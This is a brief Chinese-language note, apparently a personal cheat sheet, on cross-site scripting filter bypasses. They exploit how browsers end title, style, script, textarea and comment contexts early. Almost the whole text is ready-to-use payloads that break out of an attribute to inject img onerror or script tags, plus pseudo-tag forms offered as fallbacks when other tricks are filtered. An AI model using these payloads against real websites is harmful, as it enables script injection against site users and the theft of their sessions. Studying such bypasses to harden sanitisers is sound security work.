HTML标签优先级
有些html标签优先级特别高,他们觉得结束标签可以直接终结掉一个标签的属性
比如 <textarea>
, <title>
, <style>
, <script>
<title><a href="</title><img src=x onerror=alert(1) //">
<style><a href="</style><img src=x onerror=alert(1) //">
可以绕过一些过滤器
另外注释可以看做是优先级超级高的标签
<!-- <a href="--><img src=x onerror=alert(1) //">
如果很不幸运,前面的都给过滤掉了
可以试一试下面的,前人太强了
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<% foo="%><script>alert(1)</script>">